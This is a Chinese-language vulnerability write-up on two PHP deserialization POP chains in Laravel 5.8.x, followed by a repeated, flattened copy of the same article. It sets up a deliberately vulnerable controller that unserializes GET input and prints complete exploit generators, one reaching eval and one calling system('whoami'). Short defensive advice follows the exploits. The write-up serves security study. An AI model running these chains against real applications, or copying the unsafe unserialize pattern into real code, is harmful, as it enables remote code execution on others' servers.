Laravel5.8.x反序列化POP链
字数 1386 2025-08-27 12:33:43

Laravel 5.8.x 反序列化POP链分析

漏洞环境搭建

  1. 使用composer安装Laravel 5.8框架:
composer create-project --prefer-dist laravel/laravel laravel58
cd laravel58
php artisan serve --host=0.0.0.0
  1. 添加路由和控制器:
    routes/web.php中添加:
Route::get("/", "\App\Http\Controllers\DemoController@demo");
  1. 创建控制器app/Http/Controllers/DemoController.php
<?php
namespace App\Http\Controllers;

class DemoController extends Controller {
    public function demo() {
        if (isset($_GET['c'])) {
            $code = $_GET['c'];
            unserialize($code);
        } else {
            highlight_file(__FILE__);
        }
        return "Welcome to laravel5.8";
    }
}

POP链1分析

调用链路径

  1. PendingBroadcast::__destruct()
  2. Dispatcher::dispatch()
  3. Dispatcher::dispatchToQueue()
  4. EvalLoader::load()

详细分析

  1. 入口点PendingBroadcast类的__destruct方法

    • $this->events设置为Dispatcher类实例
  2. Dispatcher::dispatch()

    • 需要使$command(即$this->event)实现ShouldQueue接口
    • 目的是执行到dispatchToQueue方法中的call_user_func
  3. Dispatcher::dispatchToQueue()

    • 存在call_user_func函数,可完成任意类方法调用
    • 选择EvalLoader类的load方法作为目标
  4. EvalLoader::load()

    • 包含eval函数调用,参数可控
    • 需要绕过if条件:找一个有getName方法的类且返回结果可控

EXP构造

<?php
namespace PhpParser\Node\Scalar\MagicConst {
    class Line {}
}

namespace Mockery\Generator {
    class MockDefinition {
        protected $config;
        protected $code;
        public function __construct($config, $code) {
            $this->config = $config;
            $this->code = $code;
        }
    }
}

namespace Mockery\Loader {
    class EvalLoader {}
}

namespace Illuminate\Bus {
    class Dispatcher {
        protected $queueResolver;
        public function __construct($queueResolver) {
            $this->queueResolver = $queueResolver;
        }
    }
}

namespace Illuminate\Foundation\Console {
    class QueuedCommand {
        public $connection;
        public function __construct($connection) {
            $this->connection = $connection;
        }
    }
}

namespace Illuminate\Broadcasting {
    class PendingBroadcast {
        protected $events;
        protected $event;
        public function __construct($events, $event) {
            $this->events = $events;
            $this->event = $event;
        }
    }
}

namespace {
    $line = new PhpParser\Node\Scalar\MagicConst\Line();
    $mockdefinition = new Mockery\Generator\MockDefinition($line, '<?php phpinfo();?>');
    $evalloader = new Mockery\Loader\EvalLoader();
    $dispatcher = new Illuminate\Bus\Dispatcher(array($evalloader, 'load'));
    $queuedcommand = new Illuminate\Foundation\Console\QueuedCommand($mockdefinition);
    $pendingbroadcast = new Illuminate\Broadcasting\PendingBroadcast($dispatcher, $queuedcommand);
    echo urlencode(serialize($pendingbroadcast));
}

POP链2分析

环境准备

需要添加Symfony组件:

# 在composer.json的require中添加
"symfony/symfony": "4.*"
# 然后执行
composer update

调用链路径

  1. TagAwareAdapter::__destruct()
  2. ProxyAdapter::saveDeferred()
  3. ProxyAdapter::doSave()
  4. 动态函数调用执行命令

详细分析

  1. 入口点TagAwareAdapter类的__destruct方法

    • 会调用$this->poolsaveDeferred方法
  2. ProxyAdapter::saveDeferred()

    • $this->pool设置为ProxyAdapter
    • 调用doSave方法
  3. ProxyAdapter::doSave()

    • 存在可控的动态调用:($this->setInnerItem)($innerItem, $item)
    • $item是强转数组后的CacheItem对象
    • 利用system函数执行命令
  4. 关键点

    • 数组键名带有\0*\0表示protected属性
    • $innerItem可控,作为命令执行参数

EXP构造

<?php
namespace Symfony\Component\Cache {
    final class CacheItem {
        protected $expiry;
        protected $poolHash;
        protected $innerItem;
        public function __construct($expiry, $poolHash, $command) {
            $this->expiry = $expiry;
            $this->poolHash = $poolHash;
            $this->innerItem = $command;
        }
    }
}

namespace Symfony\Component\Cache\Adapter {
    class ProxyAdapter {
        private $poolHash;
        private $setInnerItem;
        public function __construct($poolHash, $func) {
            $this->poolHash = $poolHash;
            $this->setInnerItem = $func;
        }
    }

    class TagAwareAdapter {
        private $deferred = [];
        private $pool;
        public function __construct($deferred, $pool) {
            $this->deferred = $deferred;
            $this->pool = $pool;
        }
    }
}

namespace {
    $cacheitem = new Symfony\Component\Cache\CacheItem(1, 1, "whoami");
    $proxyadapter = new Symfony\Component\Cache\Adapter\ProxyAdapter(1, 'system');
    $tagawareadapter = new Symfony\Component\Cache\Adapter\TagAwareAdapter(array($cacheitem), $proxyadapter);
    echo urlencode(serialize($tagawareadapter));
}

防护建议

  1. 不要反序列化不可信的数据
  2. 及时更新框架和组件版本
  3. 使用__wakeup()__destruct()方法进行安全检查
  4. 考虑使用JSON等更安全的序列化格式替代PHP原生序列化

总结

本文详细分析了Laravel 5.8.x中的两条反序列化POP链:

  1. 第一条链利用PendingBroadcast__destruct方法,通过DispatcherEvalLoader最终执行任意PHP代码
  2. 第二条链利用Symfony组件的TagAwareAdapter,通过动态函数调用执行系统命令

两条链都展示了PHP反序列化漏洞的威力,强调了安全编程的重要性。

Laravel 5.8.x 反序列化POP链分析 漏洞环境搭建 使用composer安装Laravel 5.8框架: 添加路由和控制器: 在 routes/web.php 中添加: 创建控制器 app/Http/Controllers/DemoController.php : POP链1分析 调用链路径 PendingBroadcast::__destruct() Dispatcher::dispatch() Dispatcher::dispatchToQueue() EvalLoader::load() 详细分析 入口点 : PendingBroadcast 类的 __destruct 方法 将 $this->events 设置为 Dispatcher 类实例 Dispatcher::dispatch() : 需要使 $command (即 $this->event )实现 ShouldQueue 接口 目的是执行到 dispatchToQueue 方法中的 call_user_func Dispatcher::dispatchToQueue() : 存在 call_user_func 函数,可完成任意类方法调用 选择 EvalLoader 类的 load 方法作为目标 EvalLoader::load() : 包含 eval 函数调用,参数可控 需要绕过 if 条件:找一个有 getName 方法的类且返回结果可控 EXP构造 POP链2分析 环境准备 需要添加Symfony组件: 调用链路径 TagAwareAdapter::__destruct() ProxyAdapter::saveDeferred() ProxyAdapter::doSave() 动态函数调用执行命令 详细分析 入口点 : TagAwareAdapter 类的 __destruct 方法 会调用 $this->pool 的 saveDeferred 方法 ProxyAdapter::saveDeferred() : 将 $this->pool 设置为 ProxyAdapter 类 调用 doSave 方法 ProxyAdapter::doSave() : 存在可控的动态调用: ($this->setInnerItem)($innerItem, $item) $item 是强转数组后的 CacheItem 对象 利用 system 函数执行命令 关键点 : 数组键名带有 \0*\0 表示protected属性 $innerItem 可控,作为命令执行参数 EXP构造 防护建议 不要反序列化不可信的数据 及时更新框架和组件版本 使用 __wakeup() 或 __destruct() 方法进行安全检查 考虑使用JSON等更安全的序列化格式替代PHP原生序列化 总结 本文详细分析了Laravel 5.8.x中的两条反序列化POP链: 第一条链利用 PendingBroadcast 的 __destruct 方法,通过 Dispatcher 和 EvalLoader 最终执行任意PHP代码 第二条链利用Symfony组件的 TagAwareAdapter ,通过动态函数调用执行系统命令 两条链都展示了PHP反序列化漏洞的威力,强调了安全编程的重要性。